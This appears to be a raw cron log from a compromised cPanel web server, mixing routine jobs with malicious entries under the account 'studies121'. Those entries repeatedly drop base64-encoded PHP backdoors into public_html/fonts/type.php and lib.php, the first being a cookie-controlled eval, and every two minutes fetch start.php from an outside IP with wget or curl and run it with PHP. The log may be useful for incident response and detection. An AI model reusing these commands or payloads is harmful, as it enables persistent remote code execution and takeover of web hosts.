Sep  5 13:36:01 ip-184-168-122-23 CROND[26765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:36:01 ip-184-168-122-23 CROND[26769]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:36:01 ip-184-168-122-23 CROND[26767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:36:01 ip-184-168-122-23 CROND[26768]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 13:37:01 ip-184-168-122-23 CROND[26869]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:37:01 ip-184-168-122-23 CROND[26871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:37:01 ip-184-168-122-23 CROND[26872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:37:01 ip-184-168-122-23 CROND[26873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:38:01 ip-184-168-122-23 CROND[26972]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 13:38:01 ip-184-168-122-23 CROND[26974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:38:01 ip-184-168-122-23 CROND[26975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:38:01 ip-184-168-122-23 CROND[26976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:38:01 ip-184-168-122-23 CROND[26977]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:39:01 ip-184-168-122-23 CROND[27078]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:39:01 ip-184-168-122-23 CROND[27079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:39:01 ip-184-168-122-23 CROND[27082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:39:01 ip-184-168-122-23 CROND[27080]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 13:39:01 ip-184-168-122-23 CROND[27081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:40:01 ip-184-168-122-23 CROND[27179]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 13:40:01 ip-184-168-122-23 CROND[27183]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 13:40:01 ip-184-168-122-23 CROND[27182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:40:01 ip-184-168-122-23 CROND[27184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:40:01 ip-184-168-122-23 CROND[27188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:40:01 ip-184-168-122-23 CROND[27189]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:40:01 ip-184-168-122-23 CROND[27186]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 13:40:01 ip-184-168-122-23 CROND[27190]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 13:41:01 ip-184-168-122-23 CROND[27386]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:41:01 ip-184-168-122-23 CROND[27389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:41:01 ip-184-168-122-23 CROND[27390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:41:01 ip-184-168-122-23 CROND[27388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:42:01 ip-184-168-122-23 CROND[27489]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:42:01 ip-184-168-122-23 CROND[27493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:42:01 ip-184-168-122-23 CROND[27491]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 13:42:01 ip-184-168-122-23 CROND[27492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:42:01 ip-184-168-122-23 CROND[27490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:43:02 ip-184-168-122-23 CROND[27603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:43:02 ip-184-168-122-23 CROND[27605]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:43:02 ip-184-168-122-23 CROND[27606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:43:02 ip-184-168-122-23 CROND[27608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:44:01 ip-184-168-122-23 CROND[27696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:44:01 ip-184-168-122-23 CROND[27695]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 13:44:01 ip-184-168-122-23 CROND[27699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:44:01 ip-184-168-122-23 CROND[27700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:44:01 ip-184-168-122-23 CROND[27703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:45:01 ip-184-168-122-23 CROND[27807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:45:01 ip-184-168-122-23 CROND[27808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:45:01 ip-184-168-122-23 CROND[27809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:45:01 ip-184-168-122-23 CROND[27811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:45:01 ip-184-168-122-23 CROND[27814]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 13:45:01 ip-184-168-122-23 CROND[27813]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 13:46:01 ip-184-168-122-23 CROND[27905]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 13:46:01 ip-184-168-122-23 CROND[27907]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:46:01 ip-184-168-122-23 CROND[27909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:46:01 ip-184-168-122-23 CROND[27912]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 13:46:01 ip-184-168-122-23 CROND[27910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:46:01 ip-184-168-122-23 CROND[27908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:46:01 ip-184-168-122-23 CROND[27911]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 13:47:01 ip-184-168-122-23 CROND[28022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 13:47:01 ip-184-168-122-23 CROND[28023]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 13:47:01 ip-184-168-122-23 CROND[28024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:47:01 ip-184-168-122-23 CROND[28026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:48:01 ip-184-168-122-23 CROND[28134]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 13:48:01 ip-184-168-122-23 CROND[28139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
